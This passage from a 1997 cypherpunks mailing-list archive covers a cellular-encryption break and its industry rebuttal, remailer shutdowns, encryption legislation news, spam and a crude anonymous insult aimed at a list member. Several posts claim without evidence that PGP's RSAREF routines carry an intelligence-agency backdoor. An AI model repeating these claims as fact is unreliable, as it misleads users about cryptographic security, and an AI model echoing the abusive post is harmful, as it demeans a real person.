> > the process.
> >      sysop@dm.net
> > Nic Grabien
> > President, Dueling Modems
> >
> 
> ---

-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 20 Mar 1997 18:38:40 -0800 (PST)
To: cypherpunks@toad.com
Subject: CTIA Downplays Code Crack
Message-ID: <1.5.4.32.19970321023106.006e3a40@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


(Bruce Schneier's rebuttal of this follows)

TITLE:	CTIA: Encryption of Digital Wireless Phones
SOURCE:	PR Newswire
DATE:	3/20/97 12:10 PM


                 CTIA:  Encryption of Digital Wireless Phones

    Today, a group of professional and academic cryptographers will announce
that it has "discovered a flaw in the privacy protection used in today's most
advanced digital cellular phones."  Following is a set of questions and
answers that arise from that announcement.

    Q.  Does this mean that eavesdroppers can listen in on my phone calls?
    A.  No.  The encryption discussed by the researchers involves the
algorithm used to encrypt numbers punched on the keypad of a phone, not the
algorithm used to encrypt voice transmissions.

    Q.  Is it easy to break this keypad number code?
    A.  Not at this time.  It involves very sophisticated cryptological
knowledge.  The digital encryption system now in use is designed to inhibit
interception by the unsophisticated.  Any technology developed by one person
can be broken by another with the application of sufficient technology.  This
announced attack requires multiple minutes -- up to hours -- of high speed
computer processing to break a coded message.

    0.  What is the impact of this announcement on people who now use
wireless phones?
    A.  Virtually none.  Approximately 95 percent of the wireless phones now
being used are analog phones, not digital phones.  The possible impact of this
announcement is only relevant to some digital phones that are now being
introduced to the market.

    Q.  Why didn't the wireless phone industry develop phones that have
unbreakable security?
    A.  Standards for phone technology are developed within the confines of
federal regulations and the realities of the marketplace.  A wireless phone is
a consumer product, not a spy v. spy technology adequate for national
security.  Such a unit would have cost, battery life and call set-up times
which would make it unacceptable to consumers.

    0.  Does this announcement have any impact on the industry's efforts to
stop phone cloning?
    A.  No. During the past year, the industry has been very successful in
introducing new technologies that prevent phone cloning.  These authentication
and "fingerprinting" technologies operate differently and are not compromised
by the cryptography announced today.

    Q.  What is the industry doing about this problem?
    A.  Tom Wheeler, the president and CEO of CTIA, testified before Congress
on February 5, about the need to strengthen the laws protecting the security
of wireless phone calls.  It is currently illegal to intentionally intercept a
wireless phone call.  Unfortunately, whereas federal law prohibits the sale
and manufacture of devices designed to eavesdrop on wireless calls, it does
not extend the prohibition to cordless phones and the newer digital
frequencies.  In regard to today's announcement, Wheeler said, "This is the
horse nudging at the barn door and it is time to act before the horse is gone
completely."

    CTIA is the international association for the wireless telecommunication
industry.  It represents more PCS and cellular carriers than any other
association in the world.
    INTERNET USERS.  News about the wireless telecommunications industry is
updated several times each day on CTIA's World Wide Web site
(http://www.wow-com.com).  CTIA news releases and other information also are
available an WOW-COM.

    NOTE:  The cryptography researchers are Bruce Schneier, Counterpane
Systems, 612-823-1098; Robert Sanders, University of California, Berkeley,
510-643-6998; David Wagner, University of California, Berkeley, 510-643-9435;
and Lori Sinton, Jump Start Communications, 415-938-2234.

    CONTACT:  For more information, please contact Tim Ayers, 202-736-3203, or
Jeffrey Nelson, 202-736-3207, both of CTIA.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 20 Mar 1997 18:40:53 -0800 (PST)
To: cypherpunks@toad.com
Subject: Schneier Rebuts CTIA
Message-ID: <1.5.4.32.19970321023316.006e2b80@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


(Thanks to DAW for the CTIA and Schneier forwards)

Here's Bruce Schneier's press release rebutting the CTIA's assertions.

Forwarded message:

MINNEAPOLIS -- The Cellular Telecommunications Industry Association (CTIA)
issued a press release discussing our recent cryptographic break against
digital cellular phones.  Following is a correction of some of their
mis-statements.

1.  While it is true that our paper did not discuss voice encryption, that
does not mean that the voice encryption system is any good.  As early as
1992 others -- including noted expert Whitfield Diffie -- have pointed out
fatal flaws in the new standard's voice privacy features.  The underlying
technology is the Vegienere cipher, broken by the Union Army during the
American Civil War.  One cryptographer was quoted in the July 1992
Communications of the ACM calling the voice privacy protection "pitifully
easy to break."  Certainly digital cellular is harder to eavesdrop on than
analog cellular--the latter just requires a scanner tuned to the correct
frequencies--digital cellular voice security can be broken in real time by
anyone with a little bit of budget, expertise, and desire.

2.  While our break did involve sophisticated cryptographic expertise, our
results have been published.  While we have no intention of publishing our
computer code, anyone able to understand our paper can implement our
attack.  It is not true that "any technology developed by one person can be
broken by another with the application of sufficient technology."  The
Telecommunications Industry Association (TIA) could have designed secure
algorithms to protect voice and messages; they chose not to.

3.  While it is true that our announcement does not affect most people
because they use analog phones, that is a misleading statement.  Analog
phones are even less secure; the whole point of digital cellular was that
it was secure.  This announcement affects both CDMA and TDMA cellular
systems, but not GSM systems.

4.  The phone industry did not develop phones with unbreakable security
because they chose not to.  It is possible, with today's technology, to
implement digital cellular algorithms in cellular phones without affecting
the phone's weight, power consumption, voice quality, or call setup.  It
takes more computer processing power to digitize the voice than it does to
encrypt the digital voice.

5.  It is true that our attack does not affect phone cloning.  The TIA put
more effort into preventing cellular fraud, because that directly affects
their bottom line.  Cellular privacy is much less of a concern, so they
didn't bother doing a good job.

6.  All the industry seems to be doing about this problem is releasing
misleading press releases in an attempt to pretend that nothing is wrong.

One moral of this story is that good security standards need to be
developed in the open.  The CTIA believed that keeping the details of their
security measures secret improved the security of the system.  This notion
works, as long as the details remain secret.  All good security systems are
designed to remain secure even if their details are made public.  To do
otherwise is naive and foolish, similar to creating recipes without ever
bothering to let anyone taste the food.

The CTIA also pointed to the need for legislation to make this illegal.
While important, this is not a solution.  Listening in on analog cellular
phones is illegal, but people do it all the time.  Stealing cars is
illegal, but Lojack is still in business.  We need to protect ourselves
with technology, not with legislation.  Laws are a quick fix for an
industry unwilling to devote resources to solving their problems.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Thu, 20 Mar 1997 21:41:38 -0800 (PST)
To: "Mark M." <markm@voicenet.com>
Subject: Re: PGP Security
Message-ID: <3.0.32.19970320212654.00797a30@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:38 PM 3/20/97 -0500, Mark M. wrote:

>The fundamental problem with the current remailer network, as others have
>noted before, is that it is a free service open to abuse by anyone.  If
>remailers were commercialized, this would eliminate the spam problem and
would
>provide the remailer operator with resources to legally defend him or
herself.

I don't think remailers get nearly enough traffic (at the moment, anyway)
to fund a meaningful defense, civil or criminal. It takes a lot of messages
at $.25 or $.10 each to come up with $10K or $20K. It's been ~ 2 years now
since my remailer went down, but at that time traffic was pretty low.

Also, charging for remailing is likely to alter the legal arguments
available to a remailer operator hoping to avoid liability for traffic - in
particular, I think it's likely to be a factor which argues in favor of
finding contributory or vicarious liability for copyright infringement,
since the remailer operator gains income through facilitating the
infringement.

Charging for messages will also change the availability of services like
Raph's remailer stats - even a miniscule cost becomes significant if you're
incurring it once per hour per remailer. It's a solution to the "spam"
problem - perhaps the only solution - but it's got other consequences, too. 

>Consider the fact that Cyberpromo has managed to find an upstream provider
>willing to provide connectivity to them, even though they are almost
>universally hated by net users.  They have been able to exist because there
>is a commercial interest.

I don't think a remailer will be able to come up with the kind of money
that Cyberpromo has. If Cyberpromo were a $10/month shell account or a
$20/month PPP account, they'd have been history months ago. 

>The obvious solution to this would be to run remailers in more civilized
countries.

I agree, especially if you define "more civilized" to mean "has an
underdeveloped or underutilized legal system". :)


--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Thu, 20 Mar 1997 22:37:09 -0800 (PST)
To: cypherpunks@toad.com
Subject: huge test
Message-ID: <199703210637.WAA19490@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


1 Additional
2 Add

##
3 Add
##
4 Add

Stuff at bottom




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Thu, 20 Mar 1997 22:00:43 -0800 (PST)
To: lucifer Anonymous Remailer <lucifer@dhp.com>
Subject: Re: [CRYPTO] PRNG
In-Reply-To: <199703202343.SAA14458@dhp.com>
Message-ID: <Pine.A41.3.95.970320225741.114282A-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Thu, 20 Mar 1997, lucifer Anonymous Remailer wrote:
Vulis still sick.

> Timmy May, a product of anal birth, appeared 
> with a coathanger through his head.
> 
>     o      o o o   o
>    /~>    <><><>   <> Timmy May
> o...(\    ||||||   ||
> 


        http://www.freenet.edmonton.ab.ca/~real/index.html

                                          : real@freenet.edmonton.ab.ca
Graham-John Bullers                  email
                                          : ab756@freenet.toronto.on.ca






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Pete Loshin <pete@loshin.com>
Date: Thu, 20 Mar 1997 20:16:33 -0800 (PST)
To: Vin McLellan <rah@shipwright.com>
Subject: Re: ONK?: SANS Network Security Digest?
Message-ID: <3.0.32.19970320214022.00874db0@pop.tiac.net>
MIME-Version: 1.0
Content-Type: text/plain


Thanks for the information.  I basically just wanted someone involved (or
someone who knows someone involved) to say, yes, this thing is real.

How come they don't sign it?  If I were a sysadmin subscriber, I'd probably
be inclined to want to be able to certify the contents got to me intact.

regards,
-pl

At 05:40 PM 3/20/97 -0500, Vin McLellan wrote:
[stuff deleted]
>The SANS Network Security Digest is published via email approximately
>eight times per year.  It's purpose is to help busy sysadmins and
>security professionals gain confidence that they are aware of the
>important security vulnerabilities and what can be done to resolve them.
[more stuff deleted]





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Thu, 20 Mar 1997 20:32:59 -0800 (PST)
To: "Igor Chudov @ home" <ichudov@algebra.com>
Subject: Re: PGP Security
In-Reply-To: <199703210116.TAA12097@manifold.algebra.com>
Message-ID: <Pine.LNX.3.95.970320231526.945A-100000@purple.voicenet.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Thu, 20 Mar 1997, Igor Chudov @ home wrote:

> This is mostly addressed to jimbell: jim, it is now obvious that
> the remailer network is as weak as a 5 year old child. It cannot
> possibly withstand even mildest forms of "abuse".
> 
> Due to this fact, I question the viability of your assassination 
> politics idea as it does not seem possible to safely operate an
> assassination bot.

The fundamental problem with the current remailer network, as others have
noted before, is that it is a free service open to abuse by anyone.  If
remailers were commercialized, this would eliminate the spam problem and would
provide the remailer operator with resources to legally defend him or herself.
Currently, there is no modivation for an operator to continue the service when
legally threatened.

(As an interesting sidenote, a few hours ago John Perry announced on r-ops
that due to an FBI investigation into the use of his remailer to mail threats
to some apparently influential person, he has shut down the jpunix remailer.)

Consider the fact that Cyberpromo has managed to find an upstream provider
willing to provide connectivity to them, even though they are almost
universally hated by net users.  They have been able to exist because there
is a commercial interest.  I do not doubt that the same would be true for
remailers if they were commercialized.  The only thing that could shut
remailers down would be either legislation or seizing the computers on which
the remailers run as "evidence."  The obvious solution to this would be to run
remailers in more civilized countries.


Mark


-----BEGIN PGP SIGNATURE-----
Version: 2.6.3
Charset: noconv

iQEVAwUBMzIQwSzIPc7jvyFpAQEQ9gf/aUCNWXtqAZlM2Qi8peAxR1UFfnhdyiBp
eRbl6Rajy7dmf5Kuy7rRj2eLrRQFS/MBp/404urtZm7rUo70T6G2e5O+qae9VDBC
FAH8DIDSRffH47jB9xcY/14rwFo7/IG2Kd4l/jmP7SyClCwP/CU1a3+yASFVJFw3
9A8S2sKjJevyXjMLFFBWCuo3ZPVKFJfmxV9yCmNWREXjW4moKtgNGHL7tgGQrev3
LtTGBCeVmSI5WCJsEn6EOVzLHFSx7kndfXLfULIHwPRIbHQuEv1qNGZu3dj8CJ4G
HxDw4gU3ZDGANQ+5VveB6yddiivU1bjAXXhiOskLnZsSz1V6y8KwTA==
=LyRp
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Thu, 20 Mar 1997 23:42:07 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: FBI Visits JPUNIX
Message-ID: <199703210742.XAA21100@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


  In regard to an email which was purported to be subjected to
suppression Anonymous wrote:
>   The first time it was sent via a remailer, it was bounced for ill-
> defined reasons. The second time it was sent, the remailer was shut
> down, and remains shut down.

Mark M. wrote:
> Speaking as "XXXXXXXXX" (or, at least, one of the "XXXXXXXXXs"), I did receive
> the following message which originated from "TruthMonger."  Shortly after I
> received the message, anon.nymserver.com closed down all of its free,
> anonymous accounts due to "abuse."

  Anonymous continued:
>   Efforts to send it through a second remailer also failed, with no
> notice from the server of any problems being received. Other email
> sent through the remailer at the same time encountered no difficulties.

Later the same day John Perry wrote:
>         Due to an FBI investigation that was opened recently naming
> myself and jpunix as suspects, I have decided that the heat taken by
> remailer operators due to those individuals that can't control
> themselves has become unacceptable. 

  The message in question is below. Draw your own conclusions.

XXXXXXXXX,
 I thought I would reply privately to you, since you seem to
at least have a willingness to allow the possibility of compromises
to the security of the encryption methodologies behind PGP programs,
among others.

  To begin with, I'm not sure whether you realize it, or not, but the
Navy's spook tenacles run deeper, and extend further, than those of any
of the more notable or visibly involved agencies who lurk in the
background of security and privacy issues.
  One of the reasons for this is that their physical existence could be
said to mirror the Internet in many respects. The very nature of their
'global' home (the sea), has always permitted them access to people and
regions which are denied to others. Also, they are often in the position
to be involved in what looks to be merely the 'transporting' of people
and information.
  Whether providing escort services or getting drunk in foreign bars,
the expertise of naval intelligence has always lain in the area of
observation, first and foremost.

  By far the greatest tool of intelligence agencies on the Internet,
has been traffic analysis. Their techniques are sufficiently sophist-
icated that I would not be surprised to find out that they can tell
more about us from our Internet activity than can be learned from the
satellites capable of reading the newspaper over our shoulder as we
sit in the park.
  Traffic analysis involves all measurable quantum of information, the
chief concerns being the patterns and timing of data transfer, from
which everything ranging from content and motivation can be deduced.

  If you wish to think in terms of back-doors, then you would be well
advised to go beyond the concepts of 'passwords' and 'holes' and try
to think in terms of patterns and timing, and other such 'structures'
which are peripheral to concerns regarding 'code' and 'mathematics.'
  i.e. As well as considering the 'content' of what a program returned,
you must also consider 'when' the program returned the result, and
the patterns in the timing, as well as the content.
  An analogy could be made to a person who, being interrogated, answers
all questions with a predictable rhythm and then 'pauses,' however
slightly, in answering a certain question. You can see that what is
revealed by the 'content' of the answer can be greatly insignificant
compared to what is revealed by the 'delay' in answering.

  To expand your concept of 'back-doors' and 'holes,' you have to ask
questions such as:
  "Does it take a program or hardware longer to return a result of '0',
than to return a result of '1'?"
  "What factors can be introduced into the hardware and/or software
that can influence the patterns and/or timing of various processes
and the results they return?"
  "Can key searches be made more efficient by analyzing such things
as rhythm, syntax, etc? What 'details' or 'qualities' of an individual,
group, or 'arena of concern' can be analyzed for the purpose of being
able to group them into structures which can be searched for?"
  "How can 'assigning' a value to certain sequences of numbers be used
as a pattern to 'filter' the input data into a form which is easier to
analyze?"

  You are aware of 'tricks and techniques' that apply to mathematics
and are widely known.
  i.e. The process of shifting and adding numbers when multiplying by
the number '11'.
  However, what about those quantum of information which are of no
consequence to those seeking for the 'final result' of that multi-
plication? Can the peripheral effects of mathematic calculations
be used to analyze what has taken place, to narrow the scope of
inquiry?
  My nephew describes numbers as getting 'wider' as they get larger,
and he does quick checks of his result through his 'feel' for how
much 'wider' a number should be when he is done, even in complicated
equations which he ill-understands.
  (He reminds me of Steven Wright, who claims that someone told him
that his socks didn't match, and he replied, "Sure, they do. I go
by thickness.")

  I am currently working on a project which involves merging chaos
theory with traffic analysis and other processes to analyze the
effects that algorithms display when processed through the filters
of varying hardware and software structures and methodologies.
  The RSA algorithm and accompanying RSAREF subroutines were our
first focus, for the very reason that there were certain factions
behind the scenes of the Zimmerman/RSA agreement who seemed to
have an inordinate amount of interest in the subroutines being
chained to the algorithm (for reasons that have nothing to do
with patent protection).

  Those whose expertise goes far beyond my own in this area look at
the initial results of the analysis as confirming that their is a
'relationship' between the RSA algorithm and the RSAREF subroutines
which will enable them to break the system down into workable
units for fairly quick analysis.
  What is interesting is that the results from small probes into
other encryption systems show the same potential for exploitation
using varying analysis methodologies and processes.
  (One fairly well-known encryption routine is almost lame enough
to reveal its secrets to anyone with a pencil and a stopwatch, as
well as the file size and time it takes to encrypt.)

  While I would rather you didn't publicize the preceding information,
as a general rule, I think that is something that should be shared with
anyone who is seriously focusing their efforts on better methods of
encryption and analysis of encryption methodologies.
  I am aware of two other groups who are working along the same lines,
although with a narrower range of variables than ourselves, and I am
certain that there must be more than a few other entities out there
who are also pursuing this line of research.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Thu, 20 Mar 1997 22:02:38 -0800 (PST)
To: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Subject: Re: Market Failures, Monocultures, and Dead Kids (Oh My!)
In-Reply-To: <s8VT4D2w165w@bwalk.dm.com>
Message-ID: <199703210624.AAA00738@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain


Vulis wrote:
> Out in the hobbsian wild, if the parents abuse their offsprings (kill them,
> fail to train them), then the offsprings won't reproduce and the parent's
> genes won't perpetuate.  Do we really need a more coersive system of
> punishing "child abuse"?

	We don't (yet) live in the "hobbsian wild". Children do what they are 
taught. If the are taught to react to the slightest provocation with violence,
then they will, when they grow up (notice I didn't say mature), react similarly.
If we wish to live in a society of reasonable people, our children need to 
be raised respond reasonably to provocation. This means get violent when, and
only when necessary. 

	So, yes. I would say we need a fairly coersive system for punishing 
child abuse. We also need a clear defination of what child abuse really is.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: save@bellsouth.net
Date: Thu, 20 Mar 1997 22:13:29 -0800 (PST)
Subject: Make "$9,780" and more !!
Message-ID: <199703210609.BAA14483@mail.bna.bellsouth.net>
MIME-Version: 1.0
Content-Type: text/plain


You have Nothing to lose!

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YOU:  yes.
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YOU:  who would'nt?
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ME:  "I own a SOFTWARE PROGRAM that explains the business.
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YOU:  are you going to tell me what it is all about?
ME:  "That is not the way I work, the answers are in the 
      program. Do you want the business package and software?"
YOU:  I have nothing to lose! If people are making
      that kind of money... I HAVE TO TAKE A LOOK!


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         payable to: Vision Unlimited
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-------------------------------------------------------------------
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mf@MediaFilter.org (MediaFilter)
Date: Thu, 20 Mar 1997 22:45:46 -0800 (PST)
To: eon@black.hole
Subject: PGP Media Sues NSI To Open the Domain Name Registration Market
Message-ID: <1353214228-802615@MediaFilter.org>
MIME-Version: 1.0
Content-Type: text/plain



   PRESS RELEASE PGP Media, Inc.

New York, New York March 20, 1997

  PGP Media Sues To Open the
Domain Name Registration Market

PGP Media, Inc., d/b/a   name.space(tm)
(http://namespace.pgpmedia.com)  ("PGP"),
announces  that  it has commenced an action in
Federal Court in New York City against Network
Solutions, Inc. ("NSI"), seeking, among other
things, to open access to the domain name
registration market to allow open, unrestricted
competition for the offering of Domain Name
registration under potentially limitless Shared
Top Level Domains.   PGP believes that the
Internet has long since become a vibrant and
maturing market in which certain de facto
monopolists, operating for profit, have been
allowed to flout the laws of the United States
and other countries which are expressly aimed at
preventing such conduct.  A copy of the
Complaint in that action is now available on
the name.space(tm) web page referred to above.

          With the commencement  of  this  case,
 PGP  is  now accepting registrations of domain
names under an expansive list of Shared TLDs.
An initial registration under a TLD listed on
the name.space(tm) web page may be made  for $10.
When,  as a result of the lawsuit or otherwise,
the names registered become universally
resolvable  and the PGP Name Servers become
"root," an additional charge of $15 will be
imposed to fully register the name for the first
full year of use following such universal
resolvability.   PGP intends to charge a $25
renewal fee for each subsequent year of use of
names registered through its registry.   In
addition, PGP iS also accepting suggestions for
additional Shared TLDs to be added to the PGP
Registry.  The fee which will be charged for
such additional Shared TLDs has not yet been
determined.
          For additional information regarding
the lawsuit or to receive regular updates,
please contact mjd@pgpmedia.com.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 21 Mar 1997 01:07:11 -0800 (PST)
To: "Attila T. Hun" <attila@primenet.com>
Subject: Re: FINALLY, "SOME" TRUTH Re: Anonymous Nymserver: anon.nymserver.com
In-Reply-To: <199703202037.NAA03455@infowest.com>
Message-ID: <33324FA1.2474@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Attila T. Hun wrote, in blood:
> on or about 970313:1533 TruthMonger <an7575@anon.nymserver.com> said:

> +  To reiterate my original observations:
> +1. The development of RSA was funded and controlled by the spooks. i.e.
> +- The National Science Foundation and the Navy.
> +2. The campaign of persecution against Phil Zimmerman ground to a halt
> +once he agreed to PGP using the spook-developed RSAREF subroutines to
> +implement the RSA functions, instead of PGP's original subroutines.
 
>     about a year ago when Phil's prosecution was dropped, I wrote a
>     rather lengthy message here about PKZ, the prosecution turning to
>     vapour, surprise funding for PGP, Inc. (which is substantial), and
>     the issue of being compromised.

  What I found interesting about TruthMonger's missive was that the
replies he received as a result of merely 'questioning' certain things
regarding the holy icon of PGP, he got back replies/rants, from normally
rational list subscribers, which were scathing rebukes to issues he or
she hadn't even raised.
  I wonder if you had a similar experience with the post you mention.
 
 
>     ANYONE who has managed to walk away from a fed hate/hatchet job has
>     been compromised to some extent.

  No shit, Sherlock.
 
> +  If people with guns came to me and told me that software I had
> +written now had to use their subroutines, instead of my own, then I
> +would consider my software 'compromised', regardless of whether or not
> +I could immediately discern any anomalies in it.
> +  It is far, far easier to 'build' a back-door, than to 'find' one.
> 
>     you got that one right!
>     just the ability to _backtrack_ into the algorithms is a start.
>     One piece of clear text and you're toast.

  You can't tell me the guy who designed the Rubik cube didn't know
how to 'beat' it when he was done.
 
> +  It never fails to amaze me how the back-doors that software makers
> +intentionally build into their products for their own convenience
> +suddenly become 'bugs' when hackers, among others, take advantage of
> +them.
> +  One hacker I know used to find most of his hacks into AT&T UNIX by
> +screwing up his system (i.e. - corrupting the passwd file) and then
> +calling in the AT&T support techs and observing their tricks and
> +techniques (and then improving on them).
> 
>     ...ask a few of the old line unix hacks at Murray Hill (where I was
>     "granted" my name....)   however, AT&T was never as bad as a few of
>     the others (Sperry comes to mind...) and most of AT&T's access
>     points were not open and exploitable without you enabling them (by
>     giving them access).

  I know a hacker who could get Support Techies to perform all of their
secret black-magic in front of him just because he had the abilty to
act extremely stupid. (If he asked you the time of day, you'd write it
down for him, and explain it to him.)
 
>     however, 20 years ago, the feds were scary enough with "new"
>     crypto; 4 AM rousts that noone believed the feds would do.
>     warrants? yeah, right! If the feds arrested you, you were
>     "obviously" guilty or they would not have arrested you.

  I think we can expect the day to come when the Feds make their major
public relations tune "If you don't have anything to 'hide', then why
do you need crypto?", thus pointing out to 'decent folk' that the
CypherPunks are all drug smuggling, tax-dodging pedophiles.

-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lynx_User@linux.nycmetro.com
Date: Fri, 21 Mar 1997 00:16:18 -0800 (PST)
To: cypherpunks@toad.com
Subject: encrypt_1.html
Message-ID: <199703210817.DAA00583@linux.nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain



                             Reuters New Media
                                      
   
     [World Book 1997 Multimedia Encyclopedia. Built upon the questions
                            kids ask most. IBM]
                                      
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    [ Index | News | World | Biz | Tech | Politic | Sport | Scoreboard |
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   Thursday March 20 2:56 PM EST 
   
Clinton Admin. To Offer Encryption Bill Shortly

   WASHINGTON - The Clinton administration plans to introduce legislation
   soon that would clearly affirm that encryption users in this country
   are free to use any type or strength of encryption technology, a
   senior administration official said.
   
   Currently, no such explicit law is on the books.
   
   Under Secretary of Commerce William Reinsch also told a Senate
   Commerce Committee hearing the bill would explicitly state that
   participation in so-called "key management infrastructure" would be
   voluntary. Key refers to the password or software "key" that can read
   encrypted information.
   
   The bill also would:
   
   -- Spell out the legal conditions for the release of "recovery
   information" to law enforcement officials. The bill also provides
   legal safeguards for third-party "key recovery agents" who have
   properly released such information.
   
   -- Criminalizes the misuse of keys and the use of encryption to
   further a crime.
   
   -- Offers, on a voluntary basis, firms that are in the business of
   providing public cryptography keys the opportunity to obtain
   government recognition. Such recognition, Reinsch said, would allow
   firms to "market the trustworthiness implied by government approval.
   
   The testimony came in a hearing on two bills introduced by Senate
   lawmakers that would remove almost all export curbs on encryption
   technology.
   
   The administration's newest export policy, enacted through executive
   order in November and in effect since January 1, allows export of
   stronger encryption than previously allowed.
   
   But it requires companies to incorporate features within two years
   allowing the government to crack the codes by getting access to the
   software keys.
   
   Administration officials said they opposed the export provisions in
   the two Senate bills, saying that the export liberalization goes too
   far.
   
   The bills were offered by Sens. Patrick Leahy (D-Vt.) and Conrad Burns
   (R-Montana).
   
   Copyright, Reuters Ltd. All rights reserved
   
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    Questions or Comments




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lynx_User@linux.nycmetro.com
Date: Fri, 21 Mar 1997 00:17:34 -0800 (PST)
To: cypherpunks@toad.com
Subject: gambling_1.html
Message-ID: <199703210818.DAA00587@linux.nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain



                             Reuters New Media
                                      
   
                                 [IBM DB2]
                                      
                    [ Yahoo | Write Us | Search | Info ]
                                      
   
    [ Index | News | World | Biz | Tech | Politic | Sport | Scoreboard |
                            Entertain | Health ]
                                      
     _________________________________________________________________
                                      
   Previous Story: Wired Summit Newsroom Echoes To Click Of Mice
   Next Story: Clinton Admin. To Offer Encryption Bill Shortly
     _________________________________________________________________
                                      
   Thursday March 20 2:57 PM EST 
   
U.S. Bill To Ban Internet Gambling Introduced

   WASHINGTON - A bill to ban all forms of gambling on the Internet has
   been introduced in the U.S. Senate.
   
   "Given the tremendous potential for abuse, addiction and access by
   minors, online gambling should be prohibited," Sen. Jon Kyl, an
   Arizona Republican, said. He was joined by two other Republicans and
   three Democrats in offering the bill.
   
   Currently, only computer gambling on sports events is prohibited. The
   legislation would extend criminal penalties to companies who offer all
   types of computer gambling.
   
   Communications companies regulated by the U.S. Federal Communications
   Commission would be required to discontinue services to any companies
   they carry that offer gambling.
   
   Kyl said the bill also eliminates ambiguity about the definition of
   bets and wagers to make any form of online betting illegal.
   
   The bill was introduced on the same day as the U.S. Supreme Court
   heard arguments about a 1996 law banning transmission of sexually
   explicit material on the Internet to anyone younger than 18.
   
   The Clinton administration argued that the law should be upheld to
   protect young children. Opponents said it violated free-speech rights
   of adult Internet users and should be found unconstitutional. A
   decision in the case is due by July.
   
   Copyright, Reuters Ltd. All rights reserved
   
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    Questions or Comments




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Fri, 21 Mar 1997 00:16:44 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: PGP Security
Message-ID: <TCPSMTP.17.3.21.3.23.38.2780269260.1579314@nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

 -=> Quoting In:markm@voicenet.com to Harka <=-

 In> The fundamental problem with the current remailer network, as others
 In> have noted before, is that it is a free service open to abuse by
 In> anyone.  If remailers were commercialized, this would eliminate the
 In> spam problem and would provide the remailer operator with resources to
 In> legally defend him or herself. Currently, there is no modivation for an
 In> operator to continue the service when legally threatened.

Personally I believe, that the fundamental problem with remailers
is, that there are simply too few of them. If there were a few
hundred or even thousand around the world, it would be much harder
to crack down on the R-network and the individuals, who run the
remailers.

In need is a remailer program, that even not so technical people
could easily run from their common Windoze machine. Jgrasty's
winsock remailer is a good step in the right direction (although it
didn't work for me personally).

Ciao

Harka

/*************************************************************/
/* This user supports FREE SPEECH ONLINE     ...more info at */
/* and PRIVATE ONLINE COMMUNICATIONS! --> http://www.eff.org */
/* E-mail: harka(at)nycmetro.com (PGP-encrypted mail pref'd) */
/* PGP public key available upon request.  [KeyID: 04174301] */
/* F-print: FD E4 F8 6D C1 6A 44 F5  28 9C 40 6E B8 94 78 E8 */
/*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/
/* May there be peace in this world, may all anger dissolve  */
/* and may all living beings find the way to happiness...    */
/*************************************************************/
___ Blue Wave/386 v2.30 [NR]

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAgUBMzJEKTltEBIEF0MBAQGgfwf/QePG5nHUjZajUjmskX/CwW+WSvMcDE13
+EiILayy/lE4WQQeGCK8Q0/gcmVqTNtvug3gSRYyUqmadDgzfAlpFg4Vn5pv3I1Z
Spf8WNiRpQ1EhHIXPaW4zwMRvAAeySQG/WMmRFzzYWSb2MydlHy3e/XhDy8OtBe3
5IwcGimZE+820eXgdXdCPM2xg3Bri8tUlqBvrVvD+hPi8e5hw3eNc/i1Jf1GP4+w
WIhLLzkRe+AYxXEpUrK5c2D1HiNO3KRWqmTiufTjXHZPnu8DW5BXODTbBoqnyOBi
syCctfLGD85zFo199FYVsQ4ThFE897qo3U4v9JQuHifRw0GQS5GCiQ==
=f+dR
-----END PGP SIGNATURE-----


If encryption is outlawed, only outlaws will have encryption...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 21 Mar 1997 02:01:01 -0800 (PST)
To: harka@nycmetro.com
